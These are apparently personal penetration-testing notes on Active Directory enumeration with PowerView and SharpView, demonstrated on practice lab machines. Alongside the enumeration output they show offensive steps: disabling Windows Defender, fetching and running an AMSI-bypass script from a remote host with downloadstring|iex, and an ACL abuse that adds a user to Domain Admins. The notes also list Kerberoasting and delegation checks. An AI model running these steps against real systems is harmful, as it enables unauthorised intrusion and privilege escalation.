PowerView.ps1 can be found here

PowerView.ps1 can be downloaded here

Documentation

Official Documentation

For more functions, check out:

darkoperator/Veil-PowerView

Some Awesome Cheat Sheets

HarmJ0y’s

Hacktricks

HarmJ0y also has a good article on using some of PowerView’s interesting functionality.

Blog

Personal notes

In the demo’s below, i used  Delegate VM from vulnlab and Object VM from HTB

I logged in with win-rm as admistrator and disabled Windows Defender ! 

*Evil-WinRM* PS C:\windows\tasks> Set-MpPreference -DisableRealtimeMonitoring $true

I have then downloaded PowerView in one of my Windows 10 PC’s for practice Purposes.

First, you need to fireup your command prompt and type:

powershell.exe -nop -exec bypass

You then need to import the PowerView module as follows:

Import-Module [full path to powerview.ps1]

Alternatively, You could run:

powershell -ep bypass

Followed by:

. .\PowerView.ps1

From here we can start enumerating😉

We can get information about the domain as follows:

Get-NetDomain

*Evil-WinRM* PS C:\windows\tasks> Get-NetDomain

Forest                  : delegate.vl
DomainControllers       : {DC1.delegate.vl}
Children                : {}
DomainMode              : Unknown
DomainModeLevel         : 7
Parent                  :
PdcRoleOwner            : DC1.delegate.vl
RidRoleOwner            : DC1.delegate.vl
InfrastructureRoleOwner : DC1.delegate.vl
Name                    : delegate.vl

Getting information about DC’s [ you must be an Administrator to view this ]

AGAIN 1st disable AMSI !

*Evil-WinRM* PS C:\windows\tasks> whoami
delegate\administrator
*Evil-WinRM* PS C:\windows\tasks> (new-object system.net.webclient).downloadstring("http://10.8.2.138:8000/AMSIBypassPatch.ps1")|iex
Protection Disabled
*Evil-WinRM* PS C:\windows\tasks> import-module .\PowerView.ps1
*Evil-WinRM* PS C:\windows\tasks> 

.

To query domain policies

Get-DomainPolicy

*Evil-WinRM* PS C:\windows\tasks> Get-DomainPolicy


Unicode        : @{Unicode=yes}
SystemAccess   : @{MinimumPasswordAge=1; MaximumPasswordAge=42; MinimumPasswordLength=7; PasswordComplexity=1; PasswordHistorySize=24; LockoutBadCount=0; RequireLogonToChangePassword=0; ForceLogoffWhenHourExpire=0; ClearTextPassword=0;
                 LSAAnonymousNameLookup=0}
KerberosPolicy : @{MaxTicketAge=10; MaxRenewAge=7; MaxServiceAge=600; MaxClockSkew=5; TicketValidateClient=1}
RegistryValues : @{MACHINE\System\CurrentControlSet\Control\Lsa\NoLMHash=System.Object[]}
Version        : @{signature="$CHICAGO$"; Revision=1}
Path           : \\delegate.vl\sysvol\delegate.vl\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf
GPOName        : {31B2F340-016D-11D2-945F-00C04FB984F9}
GPODisplayName : Default Domain Policy

If we wanted to enumerate Users:

Get-NetUser

*Evil-WinRM* PS C:\windows\tasks> Get-NetUser


logoncount             : 575
badpasswordtime        : 9/26/2023 2:28:11 AM
description            : Built-in account for administering the computer/domain
distinguishedname      : CN=Administrator,CN=Users,DC=delegate,DC=vl
objectclass            : {top, person, organizationalPerson, user}
lastlogontimestamp     : 11/21/2024 11:31:42 PM
name                   : Administrator
objectsid              : S-1-5-21-1484473093-3449528695-2030935120-500
samaccountname         : Administrator
logonhours             : {255, 255, 255, 255...}
admincount             : 1
codepage               : 0
samaccounttype         : USER_OBJECT
accountexpires         : 12/31/1600 4:00:00 PM
countrycode            : 0
whenchanged            : 11/22/2024 7:31:42 AM
instancetype           : 4
objectguid             : b27dc933-9a1f-4f1f-8d0d-07b1efdd6ae7
lastlogon              : 10/12/2023 3:05:06 AM
lastlogoff             : 12/31/1600 4:00:00 PM
objectcategory         : CN=Person,CN=Schema,CN=Configuration,DC=delegate,DC=vl
dscorepropagationdata  : {8/26/2023 9:55:18 AM, 8/26/2023 9:55:18 AM, 8/26/2023 9:40:08 AM, 1/1/1601 6:12:16 PM}
memberof               : {CN=Group Policy Creator Owners,CN=Users,DC=delegate,DC=vl, CN=Domain Admins,CN=Users,DC=delegate,DC=vl, CN=Enterprise Admins,CN=Users,DC=delegate,DC=vl, CN=Schema Admins,CN=Users,DC=delegate,DC=vl...}
whencreated            : 8/26/2023 9:39:30 AM
iscriticalsystemobject : True
badpwdcount            : 0
cn                     : Administrator
useraccountcontrol     : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
usncreated             : 8196
primarygroupid         : 513
pwdlastset             : 8/26/2023 8:46:29 AM
usnchanged             : 127024

The above command spits a ton of information for all users. Assuming you are enumerating an organization with many users, this can generate a whole bunch of information. We can filter all users though by running:

Get-NetUser | select cn

or

Get-NetUser | select samaccountname

*Evil-WinRM* PS C:\windows\tasks> Get-NetUser | select cn

cn
--
Administrator
Guest
krbtgt
A.Briggs
b.Brown
R.Cooper
J.Roberts
N.Thompson

If we want to get all the groups a user is a member of

Get-DomainGroup -MemberIdentity username | select cn

PS C:\ISO> Get-DomainGroup -MemberIdentity bolke | select cn

cn
--
Domain Users

or

Get-DomainGroup -MemberIdentity username | select samaccountname

*Evil-WinRM* PS C:\windows\tasks> Get-DomainGroup -MemberIdentity b.brown | select cn

cn
--
Domain Users

If you wanted to check if the current user context has local administrator access

Invoke-CheckLocalAdminAccess

*Evil-WinRM* PS C:\windows\tasks> whoami
delegate\administrator
*Evil-WinRM* PS C:\windows\tasks> Invoke-CheckLocalAdminAccess

ComputerName IsAdmin
------------ -------
localhost       True

If you wanted to check if the current user has administrative access to the local (or a remote) machine

Test-AdminAccess

*Evil-WinRM* PS C:\windows\tasks> Test-AdminAccess

ComputerName IsAdmin
------------ -------
localhost       True

Lazy admins can leave behind some juicy details on the description. We can pull descriptions only by running:

Get-NetUser | select description

.

*Evil-WinRM* PS C:\windows\tasks> Get-NetUser b.brown | select description

description
-----------


*Evil-WinRM* PS C:\windows\tasks> 

f we want to get all the groups a user is a member of

Get-DomainGroup -MemberIdentity username | select cn

or

Get-DomainGroup -MemberIdentity username | select samaccountname

*Evil-WinRM* PS C:\windows\tasks> Get-DomainGroup -MemberIdentity j.roberts | select cn

cn
--
Domain Users
delegation admins

To get all the effective members of a group:

Get-DomainGroupMember -Identity "Domain Admins" -Recurse

*Evil-WinRM* PS C:\windows\tasks> Get-DomainGroupMember -Identity "Domain Admins" -Recurse

GroupDomain             : delegate.vl
GroupName               : Domain Admins
GroupDistinguishedName  : CN=Domain Admins,CN=Users,DC=delegate,DC=vl
MemberDomain            : delegate.vl
MemberName              : Administrator
MemberDistinguishedName : CN=Administrator,CN=Users,DC=delegate,DC=vl
MemberObjectClass       : user
MemberSID               : S-1-5-21-1484473093-3449528695-2030935120-500

Get Information about all computers:

Get-NetComputer

.

Enumerating what operating systems are used on the domain

Get-NetComputer | select operatingsystem

Enumerating groups

Get-NetGroup This spits a ton of information

*Evil-WinRM* PS C:\windows\tasks>
 > output.txt

grouptype              : CREATED_BY_SYSTEM, DOMAIN_LOCAL_SCOPE, SECURITY
admincount             : 1
iscriticalsystemobject : True
samaccounttype         : ALIAS_OBJECT
samaccountname         : Administrators
whenchanged            : 8/26/2023 9:55:18 AM
objectsid              : S-1-5-32-544
objectclass            : {top, group}
cn                     : Administrators
usnchanged             : 12772
systemflags            : -1946157056
name                   : Administrators
dscorepropagationdata  : {8/26/2023 9:55:18 AM, 8/26/2023 9:40:08 AM, 1/1/1601 12:04:16 AM}
description            : Administrators have complete and unrestricted access to the computer/domain
distinguishedname      : CN=Administrators,CN=Builtin,DC=delegate,DC=vl
member                 : {CN=Domain Admins,CN=Users,DC=delegate,DC=vl, CN=Enterprise Admins,CN=Users,DC=delegate,DC=v
l, CN=Administrator,CN=Users,DC=delegate,DC=vl}
usncreated             : 8199
whencreated            : 8/26/2023 9:39:30 AM
instancetype           : 4
objectguid             : 35c4abd9-945a-4fec-818a-b9ffa0a88c09
objectcategory         : CN=Group,CN=Schema,CN=Configuration,DC=delegate,DC=vl

grouptype              : CREATED_BY_SYSTEM, DOMAIN_LOCAL_SCOPE, SECURITY
Description            : Users are prevented from making accidental or intentional system-wide changes and can run mo
member                 : {CN=Domain Users,CN=Users,DC=delegate,DC=vl, CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=del
etc.etc

We can summarise all the information above by running

Get-NetGroup | select name

*Evil-WinRM* PS C:\windows\tasks> Get-NetGroup | select name

name
----
Administrators
Users
Guests
Print Operators
Backup Operators
Replicator
Remote Desktop Users
Network Configuration Operators
Performance Monitor Users
Performance Log Users
Distributed COM Users
IIS_IUSRS
Cryptographic Operators
Event Log Readers
Certificate Service DCOM Access
RDS Remote Access Servers
RDS Endpoint Servers
RDS Management Servers
Hyper-V Administrators
Access Control Assistance Operators
Remote Management Users
Storage Replica Administrators
Domain Computers
Domain Controllers
Schema Admins
Enterprise Admins
Cert Publishers
Domain Admins
Domain Users
Domain Guests
Group Policy Creator Owners
RAS and IAS Servers
Server Operators
Account Operators
Pre-Windows 2000 Compatible Access
Incoming Forest Trust Builders
Windows Authorization Access Group
Terminal Server License Servers
Allowed RODC Password Replication Group
Denied RODC Password Replication Group
Read-only Domain Controllers
Enterprise Read-only Domain Controllers
Cloneable Domain Controllers
Protected Users
Key Admins
Enterprise Key Admins
DnsAdmins
DnsUpdateProxy
delegation admins

To locate shares on hosts in the local domain

Invoke-ShareFinder

*Evil-WinRM* PS C:\windows\tasks> Invoke-ShareFinder

Name           Type Remark              ComputerName
----           ---- ------              ------------
ADMIN$   2147483648 Remote Admin        DC1.delegate.vl
C$       2147483648 Default share       DC1.delegate.vl
IPC$     2147483651 Remote IPC          DC1.delegate.vl
NETLOGON          0 Logon server share  DC1.delegate.vl
SYSVOL            0 Logon server share  DC1.delegate.vl

To pull Group Policy Objects (GPO’s)

Get-NetGPO This spits a ton of information

*Evil-WinRM* PS C:\windows\tasks> 


usncreated               : 5672
systemflags              : -1946157056
displayname              : Default Domain Policy
gpcmachineextensionnames : [{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{53D6AB1B-2488-11D1-A28C-00C04FB94F17}][{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}][{B1BE8D72-6EAC-11D2-A4EA-00C04F79F83A}{53D6AB1B-2488-11D1-A28C-00
                           C04FB94F17}]
whenchanged              : 9/9/2023 2:10:32 PM
objectclass              : {top, container, groupPolicyContainer}
gpcfunctionalityversion  : 2
showinadvancedviewonly   : True
usnchanged               : 69785
dscorepropagationdata    : {8/26/2023 9:40:08 AM, 1/1/1601 12:00:00 AM}
name                     : {31B2F340-016D-11D2-945F-00C04FB984F9}
flags                    : 0
cn                       : {31B2F340-016D-11D2-945F-00C04FB984F9}
iscriticalsystemobject   : True
gpcfilesyspath           : \\delegate.vl\sysvol\delegate.vl\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}
distinguishedname        : CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=delegate,DC=vl
whencreated              : 8/26/2023 9:39:29 AM
versionnumber            : 9
instancetype             : 4
objectguid               : 3b9a44f2-0449-4fa2-87f6-d7255d9613f4
objectcategory           : CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=delegate,DC=vl

usncreated               : 5675
systemflags              : -1946157056
displayname              : Default Domain Controllers Policy
gpcmachineextensionnames : [{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}]
whenchanged              : 9/9/2023 2:10:32 PM
objectclass              : {top, container, groupPolicyContainer}
gpcfunctionalityversion  : 2
showinadvancedviewonly   : True
usnchanged               : 69787
dscorepropagationdata    : {8/26/2023 9:40:08 AM, 1/1/1601 12:00:00 AM}
name                     : {6AC1786C-016F-11D2-945F-00C04fB984F9}
flags                    : 0
cn                       : {6AC1786C-016F-11D2-945F-00C04fB984F9}
iscriticalsystemobject   : True
gpcfilesyspath           : \\delegate.vl\sysvol\delegate.vl\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}
distinguishedname        : CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=System,DC=delegate,DC=vl
whencreated              : 8/26/2023 9:39:29 AM
versionnumber            : 8
instancetype             : 4
objectguid               : 108e9cde-591e-4f3f-a3b4-d51b9ac0dd55
objectcategory           : CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=delegate,DC=vl

We can narrow it down by selecting specific attributes. For example

Get-NetGPO | select displayname, whenchanged, whencreated

*Evil-WinRM* PS C:\windows\tasks> Get-NetGPO | select displayname, whenchanged, whencreated

displayname                       whenchanged         whencreated
-----------                       -----------         -----------
Default Domain Policy             9/9/2023 2:10:32 PM 8/26/2023 9:39:29 AM
Default Domain Controllers Policy 9/9/2023 2:10:32 PM 8/26/2023 9:39:29 AM

.

maria has WriteOwner on the Domain Admins group. From the help in BloodHound, this means maria can change the owner of the group.

I’ll import PowerView.ps and then assign maria as the owner of the group:

*Evil-WinRM-py PS C:\programdata> Set-DomainObjectOwner -Identity 'Domain Admins' -OwnerIdentity 'maria'

As owner, maria can give maria full rights over the group:

*Evil-WinRM-py PS C:\programdata> Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity maria -Rights All

Now maria can add themself to the group:

*Evil-WinRM-py PS C:\programdata> Add-DomainGroupMember -Identity 'Domain Admins' -Members 'maria'

It worked:

# Convert to sid
.\SharpView.exe ConvertTo-SID -Name puck.doe

PS C:\ISO> ConvertTo-SID -Name bolke
S-1-5-21-3250038210-1121856586-4069731829-4105

# Covert to username .\SharpView.exe Convert-ADName -ObjectName S-1-5-21-2974783224-3764228556-2640795941-1724

# Get Domain name
.\SharpView.exe Get-Domain
Get-Domain

# Return OUs or Organizational Units
.\SharpView.exe Get-DomainOU | findstr /b "name"

# Get users with PreauthNotRequired
.\SharpView.exe Get-DomainUser -KerberosPreauthNotRequired

# Information about hosts
Get-DomainComputer | select dnshostname, useraccountcontrol

# Check for open share
.\SharpView.exe Get-NetShare -ComputerName DC01

# Check where users are logged in
Find-DomainUserLocation

# Domain trusts
Get-DomainTrust

# Get all GPOs
.\SharpView.exe Get-DomainGPO | findstr displayname

# Map GPOs to host
Get-DomainGPO -ComputerIdentity WS01 | select displayname

# Count users
(Get-DomainUser).count

# Get list of usernames, last logon , description and password last set

Get-DomainUser | select samaccountname, lastlogon, pwdlastset, description | Sort-Object -Property lastlogon 

# Get list of usernames and their groups

Get-DomainUser | select samaccountname, memberof

# Get Users Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName  # Check for ASREPRoastable users .\SharpView.exe Get-DomainUser -KerberosPreauthNotRequired -Properties samaccountname,useraccountcontrol,memberof  # Kerberos constrained delegation .\SharpView.exe Get-DomainUser -TrustedToAuth -Properties samaccountname,useraccountcontrol,memberof  # Look for users with unconstrained delegation .\SharpView.exe Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"  # Check for sensitive data Get-DomainUser -Properties samaccountname,description | Where {$_.description -ne $null}  # Check for users with SPNs for Kerberoasting .\SharpView.exe Get-DomainUser -SPN -Properties samaccountname,memberof,serviceprincipalname  # Users from foreign domains Find-ForeignGroup

# Check all groups
Get-DomainGroup -Properties Name

# More info on group
.\SharpView.exe Get-DomainGroupMember -Identity 'Help Desk'

# Check manager of group
Get-ADGroup -Identity "Help Desk" -Properties ManagedBy | Select-Object Name, ManagedBy

# Look for protected groups
.\SharpView.exe Get-DomainGroup -AdminCount

# Look for managed security groups
Find-ManagedSecurityGroups | select GroupName

# Check Security Operations
Get-DomainManagedSecurityGroup

# Check local group memberships
Get-NetLocalGroup -ComputerName WS01 | select GroupName

# Check local group membership input host
.\SharpView.exe Get-NetLocalGroupMember -ComputerName WS01

# Check local group on host
Find-DomainLocalGroupMember -ComputerName WS01 -GroupName "Remote Management Users"

# Domain computers
Get-DomainComputer

# Gather info
.\SharpView.exe Get-DomainComputer -Properties dnshostname,operatingsystem,lastlogontimestamp,useraccountcontrol

Information

# Check for unconstrained delegation
.\SharpView.exe Get-DomainComputer -Unconstrained -Properties dnshostname,useraccountcontrol

# Check for constrained delegation
Get-DomainComputer -TrustedToAuth | select -Property dnshostname,useraccountcontrol 

# Check ACL
(Get-ACL "AD:$((Get-ADUser doe.puck).distinguishedname)").access  | ? {$_.IdentityReference -eq "PUCKCORP\puck.doe"}


# Use powerview to check ACLs
Get-DomainObjectAcl -Identity puck.doe -Domain puckcorp.local -ResolveGUIDs

# Search objects
Find-InterestingDomainAcl -Domain puckcorp.local -ResolveGUIDs

# Check ACLs on file shares
Get-NetShare -ComputerName SQL01
Get-PathAcl "\\SQL01\backups"

# GPO names
Get-DomainGPO | select displayname

# Check which GPO applies to system
Get-DomainGPO -ComputerName WS01 | select displayname

# Check GUID of GPO
Get-DomainGPO -Identity "Audit Policy" | select displayname,objectguid

# Use gpresult
gpresult /r /user:puck.doe
gpresult /r /S WS01

# Check SID and group permissions
Get-DomainGPO | Get-ObjectAcl | ? {$_.SecurityIdentifier -eq 'S-1-5-21-2974783224-3764228556-2640795941-513'}

# Confirm GPO
Get-GPO -Guid 831DE3ED-40B1-4703-ABA7-8EA13B2EB118

# Check trusts
Get-DomainTrust

# Enum all trusts for current domain and reachable
Get-DomainTrustMapping

If you have any questions, don’t ask